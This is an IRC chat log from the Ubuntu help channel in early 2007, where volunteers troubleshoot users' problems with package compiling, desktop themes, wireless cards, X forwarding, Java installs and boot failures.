bakertsnail, i am compiling it from source as we speak.  although it took 2 and a half hours yesterday and didn't complete.03:17
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snailbakert: you know about compiling from the source package?03:18
jribdiederick: you should be able to choose any theme listed there, including the default03:18
ikoniasnail yes, what is your question03:18
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un_operateurrogue780, those are commands used on windows .. errm, sounds like you r computer is getting "pWn3d" :)03:18
diederickjrib:  yes, but when I change a beryl-theme it only changes the 'window/border'03:18
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ikoniaun_operateur i thought it was in his apache log and it was the old iis exploit attempts03:18
diederickjrib: but not the way the buttons/scrollbars/etc. look03:18
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snailikonia: sorry, i'm helping bakert with an earlier issue03:19
jribdiederick: yeah, I guess that is system > preferences > theme then03:19
Dimensionshiya i have saved .evolution folder before with old emails ... now i have new mails in fresh installed ubuntu few days ago how do i put old mails and new one ... the old ones i saved full .evolution folder in .tar.gz format03:19
ikoniasnail ahhh so you don't need help. My mistake. Sorry03:19
un_operateurikonia, i thought so too until he said they appear in actual gtk applications03:19
ikoniaun_operateur yes, OO documents, very strange03:19
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olimpicopike_: pcmcia03:19
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bakertsnail, yes despite my apparent cluelessness this morning i'm actually fairly au fait with the whole thing as a programmer by trade.  i'm just not that good on the dpkg/apt-get side of things.03:19
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diederickjrib: and after selecting a theme there, do I need to re-login?03:20
snailbakert: ok03:20
jribdiederick: no03:20
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diederickhmm not working then :-(03:20
bakertsnail, of course the version i need is in feisty ... but i couldn't think of a plan that made more sense involving feisty.  thanks for your help!03:20
jribdiederick: let me load up beryl, one sec03:20
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olimpicopike_: Please give a small hint, where to look.03:21
snailbakert: you can put in a request for it to be backported, but I'm not sure it's a priority03:21
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ikoniasnail whats your perception on back ports to the LTS package - I've not seen much filter through yet03:21
diederickoke great jrip03:21
jribdiederick: go to "theme details" in themes and change the "controls".  Does that affect it?03:22
pike_olimpico: if you alt-ctrl-f1 then uplug the card and plug back in youll see some info when its detected. replug the card and maybe "dmesg | tail -n 30" im not sure what info youll see but it might be helpful. are you sure its not setup already? try 'ifconfig' your ethernet card will be eth0  and loopback is lo so any other device should be the wireless. like eth1 or ath0 or wlan103:22
bakertsnail, nah don't worry ... i will let my compilation go all day and hopefully by tonight it will be working.03:22
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snailikonia: none of the things that are dear to my heart work for it (mainly nitty kernel stuff)03:22
njuabcI feel   depress!03:22
pike_olimpico: alt-f7 to get back to gui if you do that03:22
ikoniasnail is there a public back port policy ?03:22
diederickjrib: you mean from system->pref->theme ?03:22
jribdiederick: yep03:23
snailikonia: not that I'm aware of03:23
ikoniathank you03:23
olimpicopike_: I tried ifconfig, and there is only eth0, that's the problem03:23
diederickjrib: I selected 'details' than the ubuntu-human thing.. nothing changed03:24
jribdiederick: how did you run beryl?03:24
diederickberyl-manager03:24
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jribdiederick: hmm I don't know.  Try #beryl then, maybe it's a known issue.  A screenshot of your controls now might help too03:24
pike_olimpico: well you might sudo apt-get install linux-restricted-modules-$(uname -r)  just in case its not installed yet.  maybe someone here can give you better info on setting up in gui im not too familiar with gnome or kde03:25
olimpicopike_: I only get pccard: CardBus card inserted into slot 003:25
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pike_olimpico: should get more than that.  anyone else able to help olimpico out? im pretty busy right now03:26
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olimpicopike_: Thanks a lot! I'm trying to install now linux-restricted-modules03:26
olimpicopike_: But I believe my repositories are not valid, since it was not able to fetch03:27
noobcookis the Opera browser any good?03:27
noobcookor is it rubbish03:27
ikoniaI don't like it03:27
ikoniabut its personal choice03:27
ikoniatry it03:27
noobcooki think ill stick to firefox03:27
pike_!easysource| olimpico03:27
ubotuolimpico: source-o-matic is a webpage where you can (re)generate your sources.list - http://www.ubuntu-nl.org/source-o-matic03:27
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pike_olimpico: just sudo apt-get update after that03:28
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JayProi am logged onto unbuntu edgy eft via cygwin & putty on windows xp, and i cant seem to get the complete desktop environment running.  how do i  do it?03:28
ikoniaJayPro need to run gnome-desktop03:28
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ikoniaand export it to your windows display03:28
pike_olimpico: in dapper my restricted modules package is in  http://security.ubuntu.com dapper-security/restricted Packages03:28
ikoniaor gdm - and re-login03:28
alnoktajenda: can you make me unafflitated?03:28
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ikoniaalnokta unafflitated ???03:28
un_operateurnoobcook, I found opera to be quite good -- only reason why i don't use it primarily is the lack of support for my firefox extensions03:29
JayProikonia do i just type that in the terminal?03:29
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alnoktaikonia: i mean 'cloak' or something..03:29
ikoniaJayPro you need to launch a command that will either launch the gdm login screen so that IT will launch the desktop, or launch the desktop03:29
cokeslutsup?03:29
ikoniaalnokta or something ???03:30
ikoniaalnokta what do you want to achieve03:30
cokeslutconfidential03:30
JayProoh okay03:30
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un_operateurikonia, i think he's after X forwarding through SSH03:30
ikoniaun_operateur nah, I think he's got that - but he can't get the gnome desktop exported03:30
diederickjrib: hmm without beryl I can change the borders, not the buttons...03:30
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JayProbefore i logged in using putty, i checked a box for x forwarding03:30
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ikoniaJayPro checked a box ??? didn't know you could do that03:31
jendaalnokta: yes03:31
pike_JayPro: youre not trying to forward to windows? you need a win32 x server then i think. cygwin or something setup03:31
noobcookhowcome aMule doesn't connect?03:31
IdleOnealnokta: type stas o then msg the IRCop who is available and ask politely if they can give you a cloak03:32
ikonianoobcook don't know - check your network03:32
JayPropike_ yeah i have cygwin and putty running03:32
salah__hello. Im sitting at a laptop, and when trying to use a headphone, I still hear sound on the laptop speakers. Any idea how to make the sound to be used in headphones when it is plugged in?03:32
noobcookikonia: everything is ok03:32
ikonianoobcook clearly not.....03:32
pike_JayPro: way ahead of me then :)03:32
IdleOnealnokta: I meant .stats p03:32
un_operateurJayPro, why not just use VNC?03:32
IdleOneerr /stats p lol03:32
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JayProun_operateur isnt when you use vnc, you have to be logged ON the remote box? i needed a different way of connecting because it's not just me that would be using the remote system03:33
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JayProor is that not true03:34
noobcookikonia: 2007-01-13 01:34:32: Connecting03:34
noobcook2007-01-13 01:34:32: No valid servers found in server list03:34
diederickhow can I connect to a samba share?03:34
ikonianoobcook are there any valid servers in the list ?03:34
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noobcookive never used aMule before03:34
ikoniadiederick do you have a samba share setup03:34
ikonianoobcook read the docs on it03:34
noobcookalright03:35
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diederickikonia: well I've got another server with samba shared whereto I want to connect03:35
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jribdiederick: screenshot?03:35
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un_operateurJayPro, errm, i think that is true -- you mean that the VNC server requires a user to be logged on and have started a VNC session before a remote user can connect to it, right?03:35
ikoniadiederick do you want to connect from an ubuntu or windows client03:35
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daxxarAny way to tell my Ubuntu to be "light" on the disk-touching? I'm trying to get the best performance possible out of my PXE-booted, NFS-root Ubuntu mediamachine. :)03:36
diederickubuntu03:36
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diederickjrib: do you know somewhere where I can put the image?03:36
jribdiederick: imageshack.us03:36
ikoniadiederick use the "connect to server "tap03:36
ikoniatab03:36
diederickikonia: thanx!03:36
diederickikonia: where is that tab?03:37
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ikoniaunder "places" on gnome - at the top of your screen03:37
JayProun_operateur as i understand it, the user needs to be logged onto ubuntu, where remote desktop is enabled...... not too sure about having to start a vnc session before someone can log in to the system03:37
user-landHello, did one of you already apply the newest Xorg server security update ?03:37
FactTechQuestion: Who controls the universe repository?03:37
ikoniauser-land the ones in the ubuntu repo ?03:37
alnoktathanks IdleOne :)03:37
ikoniauser-land for which ubuntu version03:38
user-landyes, ikonia03:38
user-land6.1003:38
ikoniauser-land I did have them on my laptop until last night03:38
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olimpicopike_: Thanks a lot, you really helped me!!!!!03:38
user-landand it is working well ?03:38
ikoniauser-land well it depends, there was a few updates03:39
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ikoniauser-land which part are you talking about03:39
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user-landeverything ikonia :-)03:39
un_operateurJayPro, I don't mean the default VNC "server" that comes on ubuntu -- I was talking about configuring and installing tightVNC or realVC03:39
pike_olimpico: np. hope you get it working03:39
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olimpicopike_: I already installed all, so I'll restart03:39
ikoniauser-land well I can't use "everything" eg: as some of the font updates, I don't use because I don't use those fonts, so what I was using "worked fine"03:39
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ikoniauser-land do you have a specific question03:39
amir__How do I install java through terminal? Java runtime eviroment03:39
JayProun_operateur ohhh ...yeah. i think thats all you would need03:40
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ikoniaamir__ just use apt or synaptic gui to get it from the repo03:40
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amir__ikonia: I don't know what to choose from03:40
un_operateuramir__, asudo aptitude install sun-java5-bin03:40
mneptokFactTech: -universe is maintained by community volunteers, Debian and Ubuntu.03:40
amir__un_operateur: thanks03:40
un_operateuramir__, s/asudo/sudo/03:40
JayProikonia so gdm and gnome-desktop diidnt work.... do i not just type that into the terminal?03:41
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ikoniaJayPro what happens when you type "gdm" into the terminal03:41
FactTechmneptok I understand that, but is there a central coordinator of some sort? How would one upload a new or updated package?03:41
user-landikonia, updates requiring a reboot i like to know if others had problems before applying them.03:41
un_operateuramir__, you can always search using  -- aptitude search packagename03:41
JayProikonia it does nothing03:41
ikoniauser-land what does it matter if other had/hadn't had problems, its doubtful they are running the same hardware and config as you03:41
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diederickooops03:41
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ikoniaJayPro does it return a prompt ?03:41
mneptokFactTech: /join #ubuntu-motu03:41
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JayProikonia yeah, after a push enter, it gives me another prompt03:42
ikoniaJayPro show me the output of "echo $DISPLAY"03:42
FactTechmneptok Aha! Thanks.03:42
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diederickjrib: well I'll have a look at it another time.. have to work no03:43
diederickw03:43
user-landprobabilities, ikonia03:43
jribdiederick: k03:43
ikoniauser-land well if its in the repo - its classed as stable, what more do you want03:43
JayProikonia "localhost:10.0"03:43
ikoniaJayPro I see03:43
user-landtesters, ikonia.03:43
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ikoniaJayPro what happens if you type "xterm"03:44
ikoniauser-land its been through testing to be marked as stable03:44
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diederickwhen I've connected to a windows share where can I find it using a terminal?03:44
ikoniauser-land if your that bothered by stability - use ubuntu 6.0.6 LTS03:44
JayProikonia another xterm appears03:44
amir__How do I open jre-1_5_0_10-linux-i586-rpm.bin ?03:44
ikoniaJayPro perfect - so that is the right display03:44
user-landikonia, do you remember the fiasko for the users updating to Ubuntu 6.10 ?03:44
mneptokamir__: you don't03:44
ikoniauser-land yes, very03:44
user-landok03:44
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ikoniauser-land that doesn't mean much though03:45
mneptokamir__: install Java from the Ubuntu repoitories03:45
user-landthat was not well tested.03:45
mneptok*repositories03:45
amir__mneptok:  But it wont work03:45
erUSUL!java | amir__03:45
ubotuamir__: To install a Java compiler/interpreter on Ubuntu, look at https://help.ubuntu.com/community/Java - For the Sun Java runtime install sun-java5-jre from the !Multiverse repository03:45
mneptokamir__: yes, it will03:45
user-landnot for you, but for the users it was a problem.03:45
ikoniauser-land updating to a different distro release - and a stable xorg update = means nothing - totally diferent03:45
amir__mneptok: Iv'e tried, how do you install jre-1_5_0_10-linux-i586-rpm.bin ?03:46
JayProikonia yeah, i was following the dirrections listen on http://en.wikipedia.org/wiki/Cygwin/X under "external remote window manager", section "putty", and i seem to run into a wall when i reach the step run "wmaker"03:46
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ikoniauser-land its classed as stable - its been running for a while, you're not going to get better certified than that03:46
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ikoniaJayPro thats because you don't want to run window maker03:46
JayProhaha03:46
mneptokamir__: what happened when you tried?03:46
ikoniaJayPro try sudo gdm &03:46
diederickwhere are shares mounted?03:46
olimpicopike_: I got wifi0 but not with ifconfig03:46
user-landikonia, there are always those who think from now on things are done as supposed. experience shows they are often not.03:47
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olimpicopike_: Only with dmesg03:47
XVampireX04:39:49 PM: xine: cannot find input plugin for MRL [http://f4.aznv.tv/doStream/MTcyMTIsMDg4MDEwMWNiZGMyNzI0M2E0MTY1OThiOTNiMmNhMGY3ZGQ0YWM1YQ==/s.TYPE-bW92aWVz/s.ID-OA==/p.ID-MQ==/[TV] _Once_Upon_A_Time_In_High_School_-_Part_1.nsv] 03:47
mnoiruser-land: from your conversation, it is clear that, like me, you have no business running 6.1003:47
XVampireX04:39:49 PM: xine: input plugin cannot open MRL [http://f4.aznv.tv/doStream/MTcyMTIsMDg4MDEwMWNiZGMyNzI0M2E0MTY1OThiOTNiMmNhMGY3ZGQ0YWM1YQ==/s.TYPE-bW92aWVz/s.ID-OA==/p.ID-MQ==/[TV] _Once_Upon_A_Time_In_High_School_-_Part_1.nsv] 03:47
XVampireX04:39:49 PM: input_http: invalid http answer03:47
XVampireX04:39:47 PM: xine: found input plugin  : http input plugin03:47
XVampireXerr, oops03:47
XVampireXhttp://www.ubuntuforums.org/showthread.php?p=2002754#post200275403:47
ikoniauser-land but the updates have been out for a while - if they where poor they would have been pulled or fixed by now03:47
ubuntu23vre-un roman care sa se priceapa e p'aici?03:47
user-landmnoir, you had problems running 6.10 ?03:47
ikoniauser-land me saying "it worked great" means nothing - it could still crash your whole box03:47
JayProikonia but what if i wanted to do this if i was just a typical user, without knowing the root password03:47
amir__mneptok: I got a swedish version of ubuntu you won't understand the message03:47
mneptok!ro | ubuntu2303:47
ubotuubuntu23: Daca doriti ajutor sau doriti sa discutati despre Ubuntu/Kubuntu/Xubuntu, intrati pe #ubuntu-ro03:47
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pike_olimpico: does "sudo ifconfig wifi0 up"  then ifconfig again show it?03:48
ikoniaJayPro you don't need to know the root password03:48
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user-landyes ikonia. your feedback that they are out for a while helps, thanks.03:48
mnoiruser-land: not a single one - on several machines.  but I do not run first releases and 6.10 is, in a sense, that, where 6.06 is more mature03:48
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mneptokamir__: Babelfisk > pastebin03:48
mnoiruser-land: so 6.10 sits on a secondary machine and 6.06 on my prod machine03:49
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user-landmnoir, even old releases can be and remain bad.03:49
olimpicopike_: Hey!!! it works, how do I make it to start automatically?03:49
ikoniamnoir it's a backward thing to do - a multi paltform app - marked as stable...I know I'll ask if anyone has problems, that will certifiy it.03:49
kpshi, how do i make it so that if i click a link to a pdf (in firefox) that adobe acrobat isn't used, but e.g. evince ?03:49
kps(i know this isn't ubuntu specific, but i have ubuntu here)03:49
piaojoin #ubuntu-cn03:49
JayProikonia how come when it asks for a password, it is not hidden?03:49
amir__mneptok: Ohh, nvm thanks for your help03:49
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ikoniauser-land thats the whole point it could fail for me because a.) I have a bad config b.) I have bad hardware c.) I'm a moron and don't know what I'm doing, that doesn't mean there is a problem with it03:49
mnoirikonia: sorry - i did not understand that last comment :)03:49
user-landmnoir, there are applications that run best with the newest versions. like p2p.03:49
ikoniaJayPro the password is YOUR password03:49
mnoiruser-land: then you do your own last testing before putting into prod03:50
ubuntu23how much time is it take to install ubuntu 6.10?03:50
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secleinteerdoes anyone know how i would get vlc/mplayer/kaffeine to play .m4v files?03:50
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ikoniamnoir he wants to know if xorg updates are "safe" depending on feedback he gets from people in here, even though the people in here could have bad configs, bad hardware, be morons, be liars, - rather than its in the "stable" repo03:50
user-landikonia, what helps are probabilities. if nobody is complaining that gives a hint about the probable quality.03:50
ikoniamnoir how is me with my hardare saying "looks good" relevent to ANYTHING on his machine03:50
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amir__!rpm03:51
ubotuRPM is the RedHat Package Management system. Ubuntu does not use RPM, but !APT, and RPM packages are not supported (the package "alien" can allow installing them, but it's quite dangerous)03:51
mnoirikonia: haha - he thinks the opinion here is better than Cannonical's testing?  I agree!03:51
HooblyI am having a real b*tch of a time getting edubuntu 6.10 to run on my machine.  Can someone make some suggestions?03:51
ikoniamnoir I could be using the intel driver on a CRT and its great, using the vesa driver on a LCD could be borked - how does me saying "its great" mean anything03:51
HooblyEverything installs fine, but when I go to boot, immediately after the memory check and disk initialization I get a blinking cursor and nothing else.03:51
ikoniamnoir exactly !03:51
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user-landmnoir, you have experience, ikonia has the youth :-)03:51
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mneptokHoobly: platform? motherboard? type of drive? partitioning schema?03:52
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ikoniauser-land Hoobly is having a problem with xorg on ubuntu 6.10 - its clearly broke03:52
Hmmmmdoes anyone know of a good wiki i can use in a dev environment?03:52
pike_olimpico: i have not clue about the gui tools.  here is howto connect from command line and the file to edit for automatic:  (first thing sudo ifconfig eth0 down  because two devices at once are screwy to routing)  then 1. sudo ifconfig wifi0 up    2. iwlist wifi0 scan (youll see available networks)   3. sudo iwconfig wifi0 essid whatevernetworkname    4. dhclient wifi0  (obtains an ip and youre connected)    5. sudo nano /etc/network/interfaces  (the f03:52
ikoniauser-land I have youth ??? I you don't know how old I am03:52
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mneptokHmmmm: Moin03:52
ikoniauser-land the fact that I'm telling you this proves I have expereience as I don't go off what someone I don't know in IRC tells me03:52
mnoiruser-land: he also has, imo, correct views on the use, reliability and applicability of leading, bleeding, and explosive releases03:52
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Hooblymneptok: default partition scheme.  Erase entire disk and use LVM.  it is a IBM Netvista 6350-11U machine03:52
user-landikonia, i just saw a video with Oliver North saying he might be overly naive .... the gangster ... :-)03:53
noobcookhas anyone heard of a usenext project for linux?03:53
rance1hey guys I have a question about using ubuntu to host an MTA I want to use qmail but that is compiled from source.  on redhat and friends there is a dummy rpm that makes the rpm database THINK sendmail is installed when it really isnt, Im trying to find out if such a similar package is needed for ubuntu/debian03:53
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Hmmmmmneptok, thanks. what's so good about Moin?03:53
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ikoniamnoir I'm sticking this moron on ignore03:53
sreckohello, where does ubuntu menu store its values? thanks in advance03:53
Hooblyikonia: how can I fix xorg?03:53
JayProikonia okay, i typed "sudo gdm &", then it asked for a password.  i typed it in, and was wondering why it's not hidden.  after i pushed return it returned "-bash: <my unhidden password>: command not found".  a couple lines down it says "Stopped       sudo gdm"03:53
XVampireXhttp://www.ubuntuforums.org/showthread.php?p=2002754#post200275403:54
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XVampireXCan anyone please help me with that?03:54
ikoniaJayPro remove the &03:54
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ikoniaHoobly no idea, don't know what your problem was03:54
JayProoh haha03:54
un_operateurJayPro, when using sudo and wanting to detach from the terminal -- use sudo -b .. sudo -b gdm03:54
kane77i bet the mplayer plugin doesn't play wmv? does it?03:54
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ikoniakane77 does if you download the windows codec03:55
un_operateurkane77, it does if the mplayer-codecs are installed03:55
JayProikonia well, it didnt do anything; just returned the prompt03:55
ikoniaJayPro very frustrating03:55
FactTechHoobly Is there a reason you used the LVM option on setup?03:55
JayProyup03:55
ikoniaJayPro find the command that launches the gnome desktop - I don't have an ubuntu box to hand to search03:55
kane77ikonia, the w32codecs?03:55
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ikoniakane77 yes03:55
adflvm logical virtual mmmmm03:55
HooblyFactTech: Uh....it's what was easiest03:55
adfclear03:55
un_operateurikonia, JayPro -- nautilus03:55
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ikoniaadf logical volume manager03:55
kane77ikonia, i installed it, but it buffers and then stops...03:56
ikoniaun_operateur danke03:56
JayProikonia aight, thanks for the direction.....03:56
ikoniakane77 borked03:56
ikoniaJayPro no problem, sorry I can't be more exact03:56
FactTechHoobly I'm not sure if the LVM option is easiest. There's a non-LVM option that might be easier.03:56
ikoniaHoobly whats up - exactly03:56
un_operateurikonia, were you trying to get XDMCP running?03:56
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mneptokHoobly: wait, do you even see a GRUB boot screen?03:56
FactTechHoobly I installed it with almost no problems on a couple of old machines, but I avoided LVM.03:56
ikoniaun_operateur nah, he's gone about exporting a display to his windows box a bit funny03:56
ikoniaun_operateur just working through a strange setup a bit03:57
HooblyFactTech: I have done it both ways.  Still same problem.03:57
Hooblymneptok: no GRUB screen03:57
ikoniaHoobly do you want to explain the problem exactly please03:57
Hooblymneptok: Just a blinking cursor03:57
FactTechHoobly Are you using the LiveCD to install it or the text-based install?03:57
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JayProikonia, un_operateur so whats the best set up? lets exclude vnc because this will be used my multiple people03:57
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HooblyFactTech: LiveCD03:58
un_operateurikonia, i noticed that his $DISPLAY shows localhost:0.0 .. shouldn't it be  clienthostname:0.0 ? just wondering .. i dont have much experience with X-over-networks03:58
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XVampireXkane77: mplayer can play quite a bit and to play wmv you need w32codecs03:58
Hooblyikonia: Installed Ubuntu in graphical mode, everything looks and runs fine.  Restart: blinking cursor03:58
JayProhrmmmm03:58
un_operateurJayPro, in my experience .. VNC can be used by multiple people -- it most definitely does that .. and is well suited for it03:58
ikoniaun_operateur it should but he's using putty x forwarding - which uses localhost and then the remote xserver is assigned a virtual display eg: localhost:.1003:58
FactTechHoobly And this happens after a "successful" install when you reboot?03:58
Hooblyikonia: no GRUB screen03:58
ikoniaHoobly bad boot sector03:58
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mneptokHoobly: re-install, but create a 250MB partition *outside of LVM* and *at the beginning of the disk*03:58
HooblyFacTech: Yup.03:58
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Skyheathyoh03:58
mneptokHoobly: uso that 250MB for /boot03:59
kane77XVampireX, I mean streamed windows media... with mplayer plugin03:59
XVampireXYes it can03:59
HooblyI'll give that a shot03:59
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mneptokHoobly: s/uso use03:59
pike_JayPro: i had a pretty long init file once to launch vncserver for about 30 people in office. there was suprisingly little overhead03:59
mneptokuidaox03:59
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Hooblymneptok: huh?03:59
XVampireXkane77: you mean mozilla-mplayer?03:59
kane77XVampireX, yes03:59
SkyheathIm having some problems with running things through windows system 32/command prompt like programs. Can anyone help?03:59
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ikoniapike_ thats a good call actually, wouldn't it be better if hs just allowed remote connection to gdm via xdchmp03:59
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ikoniaoops03:59
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Hooblyhow do I boot to safe mode or recovery mode?03:59
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un_operateurikonia, errm, i wonder what "localhost" in that context really points to  .. the server or the client?03:59
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XVampireXkane77: mozilla-mplayer is just a plugin for mozilla browsers to embed mplayer04:00
FactTechHoobly mneptok means "replace 'uso' with 'use' in my last statement"04:00
ikoniaun_operateur server - then ssh forwards back to client04:00
ikoniasshd does the forwarding04:00
JayProhrmm.... i guess ill have to look over vnc once more (in addition to gdm)04:00
ikonianot X04:00
mnoir!elaborate | Skyheath04:00
Madeyeare there anyway to compress video files under linux ?04:00
ubotuSkyheath: Please elaborate, your question or issue may not seem clear or detailed enough for people to help you. Please give more detailed information, errors, steps, and possibly configuration files (use the !pastebin to avoid flooding the channel)04:00
ikoniaun_operateur if you see what I mean04:00
HooblyFactTech: OK04:00
mneptokHoobly: make a seperate partition to use as /boot. create that partition outside of LVM. put it at the beginning of the disk.04:00
kane77XVampireX, but it doesnt play streamed video...04:00
Skyheathoook.04:00
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XVampireXkane77: It very much does04:00
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ikoniathe localhost:0.10 - .10 = /dev/pty/pts1 - ssh then forwards X down /dev/pts..... to the client04:00
ikoniaun_operateur you with me ?04:01
un_operateurikonia, yes i do infact -- just wondering if the client needs to be able to handle X sessions -- AFAIK putty is a purely commandline only, no?04:01
kane77XVampireX, (for me it doesnt :( )04:01
pike_ikonia: not familair with xdchmp sounds interesting thanks ill look it up04:01
ikoniaun_operateur he's got a windows X server running04:01
qoscifs sucks ... it recognizes the uid and gid of my original filesystem instead of using the option i used in my mount command... that really sucks. does anyone know how to solve this?04:01
ikoniapike_ it was a typo04:01
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pike_ikonia: oh :)04:01
ikoniaI can't remember the correct combo04:01
jannu1any idea how i can disable ctrl+f xterm shortcut its very annoying ?04:01
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ikoniaxdhmp04:01
XVampireXkane77: Depending on what you mean, but you need flash for many websites nowadays, and I mean as a player, too.04:01
un_operateurikonia, yes, but the client he uses from windows i.e. putty needs to be able to handle X .. right? afaik, it only handles SSH04:02
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ikoniaun_operateur correct - but sshd on the server deals with the forwarding - if no X windows session is running on the windows box the X11 traffic black holes, the X11 on windows will pick it up04:02
kane77XVampireX, flash works alright for me... only on pages that use windows media format it displays mplayer... it connects and stops...04:02
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SkyheathIf in Run, i type ipconfig, or cmd, the window opens and closes immediately. One example is for a game where i need to transfer mapdata. It asks me to locate the .exe, click create, and then extract. After i click create, it creates a folder, i click extract and it brings up the "command prompt-like" window, only it closes immediately, and nothing at all happens. I checked the folder, and still empty. Ive tried a heap of forums, no04:02
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Skyheathanyone?04:03
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ikoniaSkyheath that looks like a windows problem04:03
XVampireXkane77: You don't have w32codecs, also, mplayer won't play wmv if it has drm04:03
mnoirSkyheath: if you open a terminal and run there is it ok?04:03
EnverexSkyheath, That's Windows, not Ubuntu04:03
kane77XVampireX, I'll check04:03
pike_ikonia: oh display manager control.  i should probably know about that. *looks it up*04:03
Skyheathubuntu is?04:03
kosnickhay , i installed (at least i think so ) the nvidia drivers following some how to. How do i know the drivers are installed properly?04:03
un_operateurikonia, hmm .. wonder if he has full X11 support working on cygwin .. some (if not most) cygwin setups don't04:03
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ikoniaun_operateur I wish I was sat next to you - easy to draw and chat04:03
ikoniapike_ xdmcp04:03
qoscifs sucks ... it recognizes the uid and gid of my original filesystem instead of using the option i used in my mount command... that really sucks. does anyone know how to solve this?04:04
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ikoniaun_operateur it "looks" like it is as remote xterms are being launched etc, but that doesn't mean it is of course04:04
Skyheathwhat is ubuntu?04:04
IdleOneSkyheath: what OS are you running?04:04
HmmmmSkyheath, are u mad?04:04
ikoniaSkyheath /join ##windows04:04
un_operateurikonia, ohh no, i completely understand you and how X -forwarding works -- it's just that i am curious as to how it works in real-life and you have the experienc e:)04:04
EnverexSkyheath, Why are you even in this channel?04:04
jrib!ubuntu | Skyheath04:04
ubotuSkyheath: Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com and http://wiki.ubuntu.com/UbuntuHowCome04:04
mneptokqos: you specify that on the server, not the client04:04
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Skyheathoook, thankyouuu jrib04:05
jribwhy don't we welcome Skyheath instead of asking him to leave :)04:05
ikoniaun_operateur yeah I've done a fair bit with X11 forwarding - its a bit rusty though04:05
qosmneptok, how? it there a nice link where i can read it myself?04:05
IdleOneSkyheath: if you are running windows type /join ##windows and they can help you there04:05
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un_operateurJayPro, does your cygwin setup have X setup too?04:05
HmmmmSkyheath, are u really interested?04:05
HmmmmSkyheath, have decent bandwidth and a cd writer?04:05
pike_Skyheath: download the livecd boot yourr comp from it and check it out.04:05
EnverexJram, Because he's got no reason to be here and is just another dim Windows user joining a random "large channel" to ask questions and disregarding any proceedures and protocols in place04:05
mnoirjrib: read all of Skyheath's messages...I think you will find we extended ourselve properly?04:05
qosmneptok, u mean i have to change some parts of my smb.conf?04:06
JayProun_operateur yes, it does04:06
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jribmnoir: yeah your're right, I just popped in and saw the last one04:06
un_operateurikonia, it's one of the things I have yet to try out .. i should try it out really04:06
Skyheathyes, i have a decent bandwidth and cd writer, how do i whisper makes this alot easier.04:06
kosnickhey! i installed the nvidia drivers, how do i know they are installed properly?04:06
mneptokqos: http://www.cae.wisc.edu/site/public/?title=linpermissions-applications04:06
mnoirjrib: :)04:06
JayProun_operateur "X" and "startx" was executable04:06
HmmmmSkyheath, g oto ubuntu.com and download the latest ubuntu04:06
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ikoniaun_operateur the basics are easy - but its also quite complex when you start drilling down, very interesting. I'm a bit rusty as I've not done anything in deapth with it as remote X11 is pretty dead in business now04:07
Hmmmmburn it on a CD and boot ur computer with it04:07
Skyheaththis is for windows.04:07
Hmmmmthen u'll know what ubuntu is04:07
ikoniaSkyheath /join ##windows04:07
HmmmmSkyheath, no its an OS like windows04:07
un_operateurJayPro, errm, what happens when you try and launch a gtk application like nautilus in the session?04:07
JayProun_operateur im grabbing some of my info on this site http://en.wikipedia.org/wiki/Cygwin/X which apparently, seems like there is a better way04:07
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HmmmmSkyheath, it wont harm ur windows installation04:07
JayProun_operateur umm....not familiar with it04:07
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un_operateurJayPro, try it out .. at your putty session -- type -  nautilus &04:08
pr3d4t0rGreetings.04:08
un_operateurikonia, yea, seems things like VNC and LTSP have taken over04:08
ikoniaun_operateur exactly04:09
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ikoniaunix desktop apps are pretty dead at the moment04:09
pr3d4t0rBonjour, un_operateur.04:09
JayProun_operateur ohhhh....THAT.. ehhe... yeah, my file browser opened.....04:09
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un_operateurJayPro, eeehah :) nice04:09
un_operateurpr3d4t0r, hola .. a happy new year to you :) how goes it?04:10
un_operateur:)04:10
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JayProun_operateur theres something else thats not quite correct as well.... everytime i open something, errors appear in my terminal04:10
pr3d4t0rQ. Which version of fwhois do you recommend to use with Ubuntu?  apt-cache search doesn't seem to return the regular fwhois.c, command line program.  Which one do you recommend?04:10
pr3d4t0run_operateur: Outstanding, thanks.04:10
M_Fatih all04:10
JayProWTF04:10
pr3d4t0run_operateur: Got the Kubuntu server working like a dream.04:10
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ikoniaJayPro don't worry about that - thats your local x server not having the same config as your remote04:10
pr3d4t0run_operateur: I find once in a while that I need One More Thing :)04:11
ikoniaJayPro thinks like ** -- Warning font not found -- **04:11
kosnicknvidia - drivers?04:11
JayProikonia oh okay.....04:11
ikoniakosnick what about them04:11
kosnickikonia : i installed them (at least i think so). How do i know they are properly installed04:11
kosnick?04:11
ikoniaJayPro thats fixable at a latter dy04:11
un_operateurJayPro, well, with my limited understanding of how this works -- seems X is forwarding right but since you haven't really connected upto the desktop, it's a little shaky04:11
ikoniakosnick what guide did you use04:11
JayProikonia hey whats "gdm" expected to do.... because a window called "desktop JUST appeared, and it has my wallpaper on it, and nothing more04:12
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ikoniaun_operateur I'm just checking something - it looks like gdm can't be launched on a remote desktop it has to be connected to from a remote sesssion04:12
ikoniatrying to finx the correct command to do this04:12
mgenovhi, any ideas how can i login in Gnome via root account04:12
kosnickikonia :some how to from the net ( Unofficial Ubuntu 6.06 (Dapper Drake) Starter Guide)04:12
mgenovi have setted my root password04:12
jrib!root | mgenov04:12
ubotumgenov: sudo is a command to run programs with superuser privileges ("root"). Look at https://help.ubuntu.com/community/RootSudo for all information.04:12
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ikoniakosnick then it should tell you how to check04:12
ikoniamgenov you're not mean to04:12
mgenovjrib, i know that04:12
jribmgenov: "Look at https://help.ubuntu.com/community/RootSudo for all information."04:12
un_operateurikonia, precisely .. connecting to it is the issue here now :)04:12
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ikoniamgenov if you're messing with root you should know what to edit to enable root logins04:13
mneptokpr3d4t0r: jwhois? (in repos - http://www.gnu.org/software/jwhois/ )04:13
M_Fatihi have a problem with vmware server, when my computer starts or i want to start vmware, vmnet-dhcpd process goes to my pc freak.. dhcpd process uses ~~350mb ram and makes my computer useless.. if i don't kill vmnet-dhcpd process, ram not goes free... what is the problem and how can i fix this?04:13
un_operateurpr3d4t0r, eh, i have the same issue with debian too :) always something new to install :)04:13
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LilEndianHi. i am sharing an internet conenction through ICS on a windows box. I get no problems when using azureus on the Windows Machine.04:13
sreckoHello04:13
jribmgenov: and note taht I don't recommend you enable it04:13
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ikoniaun_operateur there is a command on doing this, I'm trying to find it in some old notes, used to be a problem with xdm years ago rather than a feature as it is in gdm04:13
nat3hi04:13
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LilEndianbut when i try it on my ubuntu machine, it gives me the NAT error.04:13
pr3d4t0rmneptok: I'm looking at it.04:13
